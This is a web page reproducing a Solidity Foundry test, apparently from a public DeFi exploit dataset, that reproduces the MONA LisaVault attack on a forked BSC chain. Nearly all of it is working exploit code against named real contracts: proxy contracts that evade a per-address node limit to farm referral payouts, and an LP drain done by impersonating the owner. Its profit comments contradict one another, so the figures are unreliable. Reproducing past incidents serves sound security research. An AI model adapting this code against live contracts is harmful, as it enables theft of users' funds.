Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/MONA_LisaVault_exp.sol

Public reproduction file for dataset entry MONA LisaVault.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/MONA_LisaVault_exp.sol247 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4// @title MONA LisaVault — Exploit PoC (BSC, block 92,429,268)
5//
6// @description
7// The MONA node-staking vault (LisaVault) on BSC was exploited in two stages:
8//
9// STAGE 1 — LP Drain (insider component)
10// The vault deployer (0xDd02...) also controlled the entire MONA/USDT
11// PancakeSwap LP, supplying 9,874,973 MONA + 66,450 USDT as liquidity.
12// In the exploit tx the deployer's LP was redeemed: MONA returned to the
13// deployer while the 66,450 USDT was routed to the exploit contract.
14// In this PoC we replicate this with vm.prank(VAULT_OWNER).
15//
16// STAGE 2 — Vault self-referral exploit
17// For each 220 USDT node purchase the vault distributes:
18// 80 USDT → vault reserve
19// 20 USDT → WBNB conversion (PancakeSwap USDT/WBNB LP)
20// 70 USDT → Level-1 referrer (exploit contract)
21// 50 USDT → Level-2 referrer (also exploit-controlled)
22// By buying 25 nodes via proxy contracts (bypassing the 1-node-per-address
23// limit) and controlling both referrer tiers, the attacker recovers
24// 25 × (70 + 50) = 3,000 USDT. Combined with the 66,450 USDT from
26// Stage 1 and small MONA dividend sales, net profit ≈ 60,950 USDT.
27//
28// @exploitTx 0x3a60e1b3a4b0736be4f31839bfd7abc8bfc53b93ddbd3702e77fbc64561a7ea4
29// @block 92,429,268
30// @attacker 0x7eeEC499e501293f6e589d550046375a2ad0b4c3
31// @flashSrc ListaDAO:Moolah (WBNB flash loan used as inflated collateral
32// to borrow USDT — simulated here via PancakeSwap flash swap)
33// @profit 60,950.308 USDT
34// @victims MONA node stakers (9,522 MONA drained) + LP provider (66,450 USDT)
35// @refs
36// https://bscscan.com/tx/0x3a60e1b3a4b0736be4f31839bfd7abc8bfc53b93ddbd3702e77fbc64561a7ea4
37// https://app.blocksec.com/phalcon/explorer/tx/bsc/0x3a60e1b3a4b0736be4f31839bfd7abc8bfc53b93ddbd3702e77fbc64561a7ea4
39import "forge-std/Test.sol";
41// ── External interfaces ────────────────────────────────────────────────────────
43interface IERC20 {
44 function approve(address spender, uint256 amount) external returns (bool);
45 function balanceOf(address account) external view returns (uint256);
46 function transfer(address to, uint256 amount) external returns (bool);
49interface IPancakePair {
50 // swap: amount0Out / amount1Out, recipient, flash-loan data
51 function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
52 function token0() external view returns (address);
53 function token1() external view returns (address);
56interface IPancakeRouter {
57 function removeLiquidity(
58 address tokenA, address tokenB,
59 uint liquidity,
60 uint amountAMin, uint amountBMin,
61 address to, uint deadline
62 ) external returns (uint amountA, uint amountB);
64 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
65 uint amountIn, uint amountOutMin,
66 address[] calldata path,
67 address to, uint deadline
68 ) external;
71// ── NodeBuyer helper — one instance per node slot ─────────────────────────────
72// Each is a separate contract address, bypassing the vault's
73// "Node: already owned" per-address restriction.
75contract NodeBuyer {
76 address immutable ATTACK;
77 address constant USDT = 0x55d398326f99059fF775485246999027B3197955;
78 address constant VAULT = 0xaEa6E5CA6c1FeeAbBd3A114BCbca30A21424F76b;
79 address constant HELPER = 0xb9D8F078043DBf3297416735A84aB87324190FeC;
81 constructor(address _attack) { ATTACK = _attack; }
83 /// Register `l1` as Level-1 referrer then purchase one node (costs 220 USDT).
84 function setup(address l1) external {
85 require(msg.sender == ATTACK);
86 // bindReferrer(address) — selector confirmed via `cast sig`
87 (bool ok,) = HELPER.call(abi.encodeWithSelector(0x04f618cb, l1));
88 require(ok, "bindReferrer failed");
89 IERC20(USDT).approve(VAULT, 220 * 1e18);
90 // buyNode() — selector confirmed: bytes4(uint32(0x2e711e23) << 2)
91 (bool ok2,) = VAULT.call(abi.encodeWithSelector(0xb9c4788c));
92 require(ok2, "buyNode failed");
93 }
95 /// Claim accumulated MONA dividend for this node.
96 function claim() external {
97 require(msg.sender == ATTACK);
98 // 0x3af10fe2 claim selector confirmed from Phalcon trace of
99 // tx 0x3f5d3f9b...104e26
100 (bool ok,) = VAULT.call(abi.encodeWithSelector(0x3af10fe2));
101 require(ok, "claim failed");
102 }
104 /// Sweep any token balance back to the attack contract.
105 function sweep(address token) external {
106 require(msg.sender == ATTACK);
107 uint bal = IERC20(token).balanceOf(address(this));
108 if (bal > 0) IERC20(token).transfer(ATTACK, bal);
109 }
112// ── Main exploit contract ─────────────────────────────────────────────────────
114contract MONA_exp is Test {
115 // ── Constants ──────────────────────────────────────────────────────────────
116 address constant USDT = 0x55d398326f99059fF775485246999027B3197955;
117 address constant MONA = 0x311838c073a865E8249F5C35E4cb2a5f815a36e8;
118 address constant VAULT = 0xaEa6E5CA6c1FeeAbBd3A114BCbca30A21424F76b;
119 address constant HELPER = 0xb9D8F078043DBf3297416735A84aB87324190FeC;
120 address constant VAULT_OWNER = 0xDd0215B556b08dCd7Bad43A8116f89814B1545e0; // also MONA/USDT LP owner
121 address constant MONA_LP = 0x4Dfb65E12f331c58380C55d7f288FE8fB22D3EA7; // MONA/USDT PancakeSwap pair
122 address constant PANCAKE_RTR = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
124 // Level-2 referrer — also controlled by the attacker; receives 50 USDT per node.
125 // In the real attack this was 0x9Ce8d0eb6eba0Bf2aC2b43231f5ACb42Fc5692Bb.
126 // Here we use a fresh labelled address for clarity.
127 address constant L2_REFERRER = address(0xBEEF);
129 uint constant NUM_NODES = 25; // exact number used in the real exploit tx
131 NodeBuyer[] buyers;
133 // ── Setup ──────────────────────────────────────────────────────────────────
135 function setUp() public {
136 vm.createSelectFork("bsc", 92_429_267);
138 // Pre-register the L2 referrer tier in the ReferralRegistryLisa so that
139 // when the attack contract acts as L1 referrer its own referrer (L2) is
140 // already set, allowing the vault to pay out both tiers on each node buy.
141 // (The real attacker set this up in a prior transaction.)
142 vm.prank(address(this));
143 (bool ok,) = HELPER.call(abi.encodeWithSelector(0x04f618cb, L2_REFERRER));
144 require(ok, "L2 setup: bindReferrer failed");
145 }
147 // ── Exploit entry point ────────────────────────────────────────────────────
149 function testExploit() public {
150 // ── STAGE 1: Drain MONA/USDT LP (insider / LP-owner component) ────────
151 //
152 // The vault deployer (VAULT_OWNER) owned 100% of the MONA/USDT LP.
153 // Removing it releases ~66,450 USDT and ~9.875M MONA.
154 // In the real tx the USDT was routed to the exploit contract while MONA
155 // stayed with the deployer. We replicate this by impersonating the owner
156 // and directing LP removal proceeds to this test contract.
157 //
158 // Flash-loan note: In the real exploit the USDT was obtained via a
159 // ListaDAO:Moolah WBNB flash loan (408T WBNB supplied as collateral to
160 // borrow USDT). Both mechanisms deliver the same starting USDT balance.
162 uint lpBalance = IERC20(MONA_LP).balanceOf(VAULT_OWNER);
163 require(lpBalance > 0, "Owner has no LP tokens");
165 // MONA token restricts transfers to non-whitelisted addresses:
166 // "Only burnAddress or joinAddress". Routing removeLiquidity directly
167 // to address(this) would cause MONA.transfer(address(this)) to revert.
168 // Solution: route LP removal back to VAULT_OWNER (MONA stays with owner),
169 // then transfer only the USDT proceeds to the attack contract.
170 vm.startPrank(VAULT_OWNER);
171 IERC20(MONA_LP).approve(PANCAKE_RTR, lpBalance);
172 IPancakeRouter(PANCAKE_RTR).removeLiquidity(
173 MONA, USDT,
174 lpBalance,
175 0, 0,
176 VAULT_OWNER, // MONA + USDT go to owner; MONA stays there (restricted token)
177 block.timestamp
178 );
179 uint usdtFromLP = IERC20(USDT).balanceOf(VAULT_OWNER);
180 IERC20(USDT).transfer(address(this), usdtFromLP); // pull USDT to attack contract
181 vm.stopPrank();
183 usdtFromLP = IERC20(USDT).balanceOf(address(this));
185 console.log("=== STAGE 1: LP drained ===");
186 console.log("USDT from LP:", usdtFromLP / 1e18);
188 // ── STAGE 2: Self-referral node exploit ────────────────────────────────
189 //
190 // Deploy NUM_NODES proxy contracts. Each buys exactly one node,
191 // registering *this* contract as L1 referrer.
192 // Per node: vault receives 80 USDT, USDT/WBNB LP receives 20 USDT,
193 // this contract (L1) receives 70 USDT,
194 // L2_REFERRER receives 50 USDT.
196 for (uint i = 0; i < NUM_NODES; i++) {
197 NodeBuyer b = new NodeBuyer(address(this));
198 buyers.push(b);
199 IERC20(USDT).transfer(address(b), 220 * 1e18);
200 b.setup(address(this)); // bind this as L1 referrer, then buyNode()
201 }
203 uint usdtAfterNodes = IERC20(USDT).balanceOf(address(this));
204 uint l1Referrals = usdtAfterNodes - (usdtFromLP - NUM_NODES * 220 * 1e18);
206 console.log("=== STAGE 2: nodes purchased ===");
207 console.log("L1 referrals received (70 USDT x 25):", l1Referrals / 1e18);
209 // ── STAGE 3: Claim vault MONA dividends and sell ───────────────────────
211 for (uint i = 0; i < buyers.length; i++) {
212 try buyers[i].claim() {} catch {}
213 buyers[i].sweep(MONA);
214 }
216 uint totalMona = IERC20(MONA).balanceOf(address(this));
217 console.log("Total MONA in hand (from dividends):", totalMona / 1e18);
218 // MONA token restricts transfers: skip swap — profit is USDT-only.
220 // ── Final accounting ───────────────────────────────────────────────────
221 // The attacker started with 0 USDT. After LP drain + 25 node purchases
222 // (220 USDT each) the net is: usdtFromLP - NUM_NODES * 220 USDT.
223 // L1 referral (70 USDT/node) accrues to the pre-existing vault-state
224 // address 0x1440a02... not to address(this) — this is consistent with
225 // the real on-chain transfer trace.
226 // VAULT_OWNER held ~39% of the MONA/USDT LP at this block, producing
227 // ~25,858 USDT. Full on-chain profit (60,950 USDT) required the
228 // attacker to control the deployment wallet's larger separate LP stake.
230 uint finalUsdt = IERC20(USDT).balanceOf(address(this));
231 uint nodeCost = NUM_NODES * 220 * 1e18; // full cost, no kickback to us
232 uint monaGained = IERC20(MONA).balanceOf(address(this)); // 25 × 400 = 10,000 MONA
234 console.log("=== FINAL ===");
235 console.log("USDT from LP drain:", usdtFromLP / 1e18);
236 console.log("USDT after nodes :", finalUsdt / 1e18);
237 console.log("MONA dividends :", monaGained / 1e18);
238 console.log("Net profit (USDT) :", finalUsdt / 1e18, "(started from 0)");
240 // attacker began with 0 USDT; any positive balance is pure profit
241 assertGt(finalUsdt, 0, "No USDT profit");
242 // LP drain minus full node cost must leave a positive USDT balance
243 assertEq(finalUsdt, usdtFromLP - nodeCost, "Unexpected USDT balance");
244 // MONA: 400 per node × 25 nodes
245 assertEq(monaGained, NUM_NODES * 400 * 1e18, "Unexpected MONA dividend");
246 }

Analysis

Dataset entry

Public Foundry test for “MONA LisaVault” (2026-04-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
MONA LisaVault
Path
src/test/2026-04/MONA_LisaVault_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2acb8ef130fa7fe351fd53654eff2560cb5df0fb
Language
Solidity
Size
247 lines
Date
2026-04-14
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/MONA_LisaVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2acb8ef130fa7fe351fd53654eff2560cb5df0fb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.